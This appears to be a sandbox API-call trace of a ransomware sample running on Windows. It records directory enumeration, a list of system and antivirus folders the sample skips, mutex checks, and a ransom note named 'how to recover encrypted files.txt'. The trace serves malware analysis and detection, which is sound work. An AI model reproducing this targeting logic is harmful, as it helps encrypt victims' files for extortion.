lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69388, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="翌R䱠@ꜤR企@\x18?T\x18\x97")) returned 0xffffffff [0045.872] GetLastError () returned 0x2 [0045.872] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\") returned 0x39 [0045.872] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0045.872] GlobalLock (hMem=0x440004) returned 0x551178 [0045.872] GlobalHandle (pMem=0x551178) returned 0x440004 [0045.872] GlobalUnlock (hMem=0x440004) returned 0 [0045.872] GlobalLock (hMem=0x440004) returned 0x551178 [0045.872] GlobalLock (hMem=0x44000c) returned 0x553188 [0045.873] GlobalHandle (pMem=0x551178) returned 0x440004 [0045.873] GlobalUnlock (hMem=0x440004) returned 0 [0045.873] GlobalHandle (pMem=0x553188) returned 0x44000c [0045.873] GlobalUnlock (hMem=0x44000c) returned 0 [0045.873] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\") returned 0x39 [0045.873] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0045.873] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0045.873] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\") returned 0x39 [0045.873] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0045.873] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 46 [0045.873] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\") returned 0x39 [0045.873] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0045.873] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0045.873] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\") returned 0x39 [0045.873] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0045.873] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69420, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0045.874] GlobalLock (hMem=0x44000c) returned 0x551178 [0045.874] GlobalHandle (pMem=0x551178) returned 0x44000c [0045.874] GlobalUnlock (hMem=0x44000c) returned 0 [0045.874] GlobalLock (hMem=0x44000c) returned 0x551178 [0045.874] GlobalLock (hMem=0x440004) returned 0x553188 [0045.874] GlobalHandle (pMem=0x551178) returned 0x44000c [0045.874] GlobalUnlock (hMem=0x44000c) returned 0 [0045.874] GlobalHandle (pMem=0x553188) returned 0x440004 [0045.874] GlobalUnlock (hMem=0x440004) returned 0 [0045.874] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\") returned 0x39 [0045.874] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0045.874] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\") returned 0x39 [0045.874] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=11, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0045.874] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\") returned 0x39 [0045.874] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0045.875] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\") returned 0x39 [0045.875] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=18, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 18 [0045.875] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\") returned 0x39 [0045.875] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 28 [0045.875] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\") returned 0x39 [0045.875] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=10, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 10 [0045.875] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\") returned 0x39 [0045.875] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0045.875] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\") returned 0x39 [0045.875] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e692d0, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0045.876] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\ar-sa\\") returned 0x39 [0045.876] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=13, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 13 [0045.876] GlobalLock (hMem=0x440004) returned 0x551178 [0045.876] GlobalHandle (pMem=0x551178) returned 0x440004 [0045.876] GlobalUnlock (hMem=0x440004) returned 0 [0045.876] GlobalLock (hMem=0x440004) returned 0x551178 [0045.876] GlobalLock (hMem=0x44000c) returned 0x553188 [0045.876] GlobalHandle (pMem=0x551178) returned 0x440004 [0045.876] GlobalUnlock (hMem=0x440004) returned 0 [0045.876] GlobalHandle (pMem=0x553188) returned 0x44000c [0045.876] GlobalUnlock (hMem=0x44000c) returned 0 [0045.876] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e61d48, cbMultiByte=3, lpWideCharStr=0x18da98, cchWideChar=2047 | out: lpWideCharStr="*.* SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 3 [0045.876] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0045.876] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.876] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe846a08f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe86330eb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe8659248, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0045.876] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0045.876] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0045.876] GlobalLock (hMem=0x44000c) returned 0x552180 [0045.876] GlobalHandle (pMem=0x552180) returned 0x44000c [0045.876] GlobalUnlock (hMem=0x44000c) returned 0 [0045.877] GlobalLock (hMem=0x44000c) returned 0x552180 [0045.877] GlobalLock (hMem=0x440004) returned 0x554190 [0045.877] GlobalHandle (pMem=0x552180) returned 0x44000c [0045.877] GlobalUnlock (hMem=0x44000c) returned 0 [0045.877] GlobalHandle (pMem=0x554190) returned 0x440004 [0045.877] GlobalUnlock (hMem=0x440004) returned 0 [0045.877] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0045.877] CharLowerBuffW (in: lpsz="tipresx.dll.mui", cchLength=0xf | out: lpsz="tipresx.dll.mui") returned 0xf [0045.877] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0045.877] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0045.877] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0045.877] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0045.877] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0045.877] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0045.877] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0045.877] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0045.877] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xê\x18", lpUsedDefaultChar=0x0) returned 1 [0045.877] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0045.877] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0045.877] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0045.877] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0045.877] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0045.877] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0045.877] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0045.877] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.mui", cchWideChar=72, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\tipresx.dll.muir", lpUsedDefaultChar=0x0) returned 72 [0045.878] CharLowerBuffW (in: lpsz=".mui", cchLength=0x4 | out: lpsz=".mui") returned 0x4 [0045.878] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".mui", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".muiShared\\ink\\ar-SA\\tipresx.dll.muir", lpUsedDefaultChar=0x0) returned 4 [0045.878] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe846a08f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe86330eb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe8659248, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0045.878] GetLastError () returned 0x12 [0045.878] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0045.878] GlobalLock (hMem=0x440004) returned 0x551178 [0045.878] GlobalHandle (pMem=0x551178) returned 0x440004 [0045.878] GlobalUnlock (hMem=0x440004) returned 0 [0045.878] GlobalLock (hMem=0x440004) returned 0x551178 [0045.878] GlobalLock (hMem=0x44000c) returned 0x553188 [0045.878] GlobalHandle (pMem=0x551178) returned 0x440004 [0045.878] GlobalUnlock (hMem=0x440004) returned 0 [0045.878] GlobalHandle (pMem=0x553188) returned 0x44000c [0045.878] GlobalUnlock (hMem=0x44000c) returned 0 [0045.878] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e61d68, cbMultiByte=3, lpWideCharStr=0x18da98, cchWideChar=2047 | out: lpWideCharStr="*.* SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 3 [0045.878] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ar-SA\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0045.878] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0045.878] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0045.878] GlobalLock (hMem=0x44000c) returned 0x551178 [0045.878] GlobalHandle (pMem=0x551178) returned 0x44000c [0045.878] GlobalUnlock (hMem=0x44000c) returned 0 [0045.878] GlobalLock (hMem=0x44000c) returned 0x551178 [0045.878] GlobalLock (hMem=0x440004) returned 0x553188 [0045.879] GlobalHandle (pMem=0x551178) returned 0x44000c [0045.879] GlobalUnlock (hMem=0x44000c) returned 0 [0045.879] GlobalHandle (pMem=0x553188) returned 0x440004 [0045.879] GlobalUnlock (hMem=0x440004) returned 0 [0045.879] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0045.879] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0045.879] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0045.879] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0045.879] GlobalLock (hMem=0x440004) returned 0x552180 [0045.879] GlobalHandle (pMem=0x552180) returned 0x440004 [0045.879] GlobalUnlock (hMem=0x440004) returned 0 [0045.879] GlobalLock (hMem=0x440004) returned 0x552180 [0045.879] GlobalLock (hMem=0x44000c) returned 0x554190 [0045.879] GlobalHandle (pMem=0x552180) returned 0x440004 [0045.879] GlobalUnlock (hMem=0x440004) returned 0 [0045.879] GlobalHandle (pMem=0x554190) returned 0x44000c [0045.879] GlobalUnlock (hMem=0x44000c) returned 0 [0045.879] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0045.879] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe846a08f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe86330eb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe8659248, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0045.879] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0045.879] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0045.879] GlobalLock (hMem=0x44000c) returned 0x552180 [0045.879] GlobalHandle (pMem=0x552180) returned 0x44000c [0045.879] GlobalUnlock (hMem=0x44000c) returned 0 [0045.879] GlobalLock (hMem=0x44000c) returned 0x552180 [0045.879] GlobalLock (hMem=0x440004) returned 0x554190 [0045.879] GlobalHandle (pMem=0x552180) returned 0x44000c [0045.879] GlobalUnlock (hMem=0x44000c) returned 0 [0045.879] GlobalHandle (pMem=0x554190) returned 0x440004 [0045.879] GlobalUnlock (hMem=0x440004) returned 0 [0045.879] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0045.880] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe846a08f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe86330eb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe8659248, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0045.880] GetLastError () returned 0x12 [0045.880] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0045.880] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7545b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7545b2, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg-BG", cAlternateFileName="")) returned 1 [0045.880] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0045.880] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0045.880] GlobalLock (hMem=0x440004) returned 0x551178 [0045.880] GlobalHandle (pMem=0x551178) returned 0x440004 [0045.880] GlobalUnlock (hMem=0x440004) returned 0 [0045.880] GlobalLock (hMem=0x440004) returned 0x551178 [0045.880] GlobalLock (hMem=0x44000c) returned 0x553188 [0045.880] GlobalHandle (pMem=0x551178) returned 0x440004 [0045.880] GlobalUnlock (hMem=0x440004) returned 0 [0045.880] GlobalHandle (pMem=0x553188) returned 0x44000c [0045.880] GlobalUnlock (hMem=0x44000c) returned 0 [0045.880] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0045.880] GlobalLock (hMem=0x44000c) returned 0x551178 [0045.880] GlobalHandle (pMem=0x551178) returned 0x44000c [0045.880] GlobalUnlock (hMem=0x44000c) returned 0 [0045.880] GlobalLock (hMem=0x44000c) returned 0x551178 [0045.880] GlobalLock (hMem=0x440004) returned 0x553188 [0045.881] GlobalHandle (pMem=0x551178) returned 0x44000c [0045.881] GlobalUnlock (hMem=0x44000c) returned 0 [0045.881] GlobalHandle (pMem=0x553188) returned 0x440004 [0045.881] GlobalUnlock (hMem=0x440004) returned 0 [0045.881] 